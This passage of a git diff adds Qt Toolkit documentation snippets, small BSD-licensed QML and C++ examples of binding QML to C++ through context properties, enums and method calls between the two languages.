+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Text { text: currentDateTime }
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/context/context.pro b/doc/src/snippets/declarative/qtbinding/context/context.pro
new file mode 100644
index 00000000..68eeaf21
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context/context.pro
@@ -0,0 +1,2 @@
+QT += declarative
+SOURCES += main.cpp
diff --git a/doc/src/snippets/declarative/qtbinding/context/main.cpp b/doc/src/snippets/declarative/qtbinding/context/main.cpp
new file mode 100644
index 00000000..cfe130a0
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/context/main.cpp
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![0]
+QDeclarativeView view;
+view.rootContext()->setContextProperty("currentDateTime", QDateTime::currentDateTime());
+view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+view.show();
+//![0]
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/enums/enums.pro b/doc/src/snippets/declarative/qtbinding/enums/enums.pro
new file mode 100644
index 00000000..82bc1234
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/enums/enums.pro
@@ -0,0 +1,3 @@
+QT += declarative
+SOURCES += main.cpp
+HEADERS += imageviewer.h
diff --git a/doc/src/snippets/declarative/qtbinding/enums/imageviewer.h b/doc/src/snippets/declarative/qtbinding/enums/imageviewer.h
new file mode 100644
index 00000000..75e9923d
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/enums/imageviewer.h
@@ -0,0 +1,68 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+//![start]
+class ImageViewer : public QDeclarativeItem
+{
+ Q_OBJECT
+ Q_ENUMS(Status)
+ Q_PROPERTY(Status status READ status NOTIFY statusChanged)
+public:
+ enum Status {
+ Ready,
+ Loading,
+ Error
+ };
+
+ Status status() const;
+//![start]
+
+ ImageViewer(QDeclarativeItem *parent = 0);
+
+public slots:
+ void emitSignals();
+
+//![end]
+signals:
+ void statusChanged();
+};
+//![end]
diff --git a/doc/src/snippets/declarative/qtbinding/enums/main.cpp b/doc/src/snippets/declarative/qtbinding/enums/main.cpp
new file mode 100644
index 00000000..3dbc56de
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/enums/main.cpp
@@ -0,0 +1,73 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "imageviewer.h"
+
+ImageViewer::ImageViewer(QDeclarativeItem *parent)
+ : QDeclarativeItem(parent)
+{
+ QTimer::singleShot(0, this, SLOT(emitSignals()));
+}
+
+ImageViewer::Status ImageViewer::status() const
+{
+ return Ready;
+}
+
+void ImageViewer::emitSignals()
+{
+ emit statusChanged();
+}
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+ qmlRegisterType<ImageViewer>("MyLibrary", 1, 0, "ImageViewer");
+
+ QDeclarativeView view;
+ view.setSource(QUrl::fromLocalFile("standalone.qml"));
+ view.show();
+
+ return app.exec();
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/enums/standalone.qml b/doc/src/snippets/declarative/qtbinding/enums/standalone.qml
new file mode 100644
index 00000000..61802d43
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/enums/standalone.qml
@@ -0,0 +1,64 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+import MyLibrary 1.0
+import QtQuick 1.0
+
+Item {
+
+//![0]
+ImageViewer {
+ onStatusChanged: {
+ if (status == ImageViewer.Ready)
+ console.log("Image viewer is ready!")
+ }
+}
+//![0]
+
+//![1]
+ImageViewer {
+ signal someOtherSignal(int statusValue)
+
+ Component.onCompleted: {
+ someOtherSignal(ImageViewer.Loading)
+ }
+}
+//![1]
+
+}
diff --git a/doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml b/doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml
new file mode 100644
index 00000000..b6ef1ff1
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/functions-cpp/MyItem.qml
@@ -0,0 +1,55 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 100
+
+ MouseArea {
+ anchors.fill: parent
+ onClicked: {
+ myObject.cppMethod("Hello from QML")
+ myObject.cppSlot(12345)
+ }
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/functions-cpp/functions-qml.pro b/doc/src/snippets/declarative/qtbinding/functions-cpp/functions-qml.pro
new file mode 100644
index 00000000..01066c1b
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/functions-cpp/functions-qml.pro
@@ -0,0 +1,3 @@
+QT += declarative
+SOURCES += main.cpp
+HEADERS += myclass.h
diff --git a/doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp b/doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp
new file mode 100644
index 00000000..8c4d6b23
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/functions-cpp/main.cpp
@@ -0,0 +1,59 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+#include "myclass.h"
+
+//![0]
+int main(int argc, char *argv[]) {
+ QApplication app(argc, argv);
+
+ QDeclarativeView view;
+ MyClass myClass;
+ view.rootContext()->setContextProperty("myObject", &myClass);
+
+ view.setSource(QUrl::fromLocalFile("MyItem.qml"));
+ view.show();
+
+ return app.exec();
+}
+//![0]
+
diff --git a/doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h b/doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h
new file mode 100644
index 00000000..e9787346
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/functions-cpp/myclass.h
@@ -0,0 +1,57 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QObject>
+#include <QDebug>
+
+//![0]
+class MyClass : public QObject
+{
+ Q_OBJECT
+public:
+ Q_INVOKABLE void cppMethod(const QString &msg) {
+ qDebug() << "Called the C++ method with" << msg;
+ }
+
+public slots:
+ void cppSlot(int number) {
+ qDebug() << "Called the C++ slot with" << number;
+ }
+};
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml b/doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml
new file mode 100644
index 00000000..53f415a9
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/functions-qml/MyItem.qml
@@ -0,0 +1,50 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![0]
+// MyItem.qml
+import QtQuick 1.0
+
+Item {
+ function myQmlFunction(msg) {
+ console.log("Got message:", msg)
+ return "some return value"
+ }
+}
+//![0]
diff --git a/doc/src/snippets/declarative/qtbinding/functions-qml/functions-qml.pro b/doc/src/snippets/declarative/qtbinding/functions-qml/functions-qml.pro
new file mode 100644
index 00000000..68eeaf21
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/functions-qml/functions-qml.pro
@@ -0,0 +1,2 @@
+QT += declarative
+SOURCES += main.cpp
diff --git a/doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp b/doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp
new file mode 100644
index 00000000..4ddbfb9a
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/functions-qml/main.cpp
@@ -0,0 +1,63 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+#include <QtCore>
+#include <QtDeclarative>
+
+int main(int argc, char *argv[])
+{
+ QApplication app(argc, argv);
+
+//![0]
+// main.cpp
+QDeclarativeEngine engine;
+QDeclarativeComponent component(&engine, "MyItem.qml");
+QObject *object = component.create();
+
+QVariant returnedValue;
+QVariant msg = "Hello from C++";
+QMetaObject::invokeMethod(object, "myQmlFunction",
+ Q_RETURN_ARG(QVariant, returnedValue),
+ Q_ARG(QVariant, msg));
+
+qDebug() << "QML function returned:" << returnedValue.toString();
+delete object;
+//![0]
+}
+
diff --git a/doc/src/snippets/declarative/qtbinding/loading/MyItem.qml b/doc/src/snippets/declarative/qtbinding/loading/MyItem.qml
new file mode 100644
index 00000000..b82c89b7
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/loading/MyItem.qml
@@ -0,0 +1,56 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the documentation of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:BSD$
+** You may use this file under the terms of the BSD license as follows:
+**
+** "Redistribution and use in source and binary forms, with or without
+** modification, are permitted provided that the following conditions are
+** met:
+** * Redistributions of source code must retain the above copyright
+** notice, this list of conditions and the following disclaimer.
+** * Redistributions in binary form must reproduce the above copyright
+** notice, this list of conditions and the following disclaimer in
+** the documentation and/or other materials provided with the
+** distribution.
+** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor
+** the names of its contributors may be used to endorse or promote
+** products derived from this software without specific prior written
+** permission.
+**
+** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
+** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
+** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
+** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
+** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
+** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
+** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
+** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
+** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE."
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+//![start]
+import QtQuick 1.0
+
+Item {
+ width: 100; height: 100
+//![start]
+
+//![child]
+ Rectangle {
+ anchors.fill: parent
+ objectName: "rect"
+ }
+//![child]
+
+//![end]
+}
+//![end]
diff --git a/doc/src/snippets/declarative/qtbinding/loading/loading.pro b/doc/src/snippets/declarative/qtbinding/loading/loading.pro
new file mode 100644
index 00000000..68eeaf21
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/loading/loading.pro
@@ -0,0 +1,2 @@
+QT += declarative
+SOURCES += main.cpp
diff --git a/doc/src/snippets/declarative/qtbinding/loading/main.cpp b/doc/src/snippets/declarative/qtbinding/loading/main.cpp
new file mode 100644
index 00000000..20f9813c
--- /dev/null
+++ b/doc/src/snippets/declarative/qtbinding/loading/main.cpp
@@ -0,0 +1,90 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
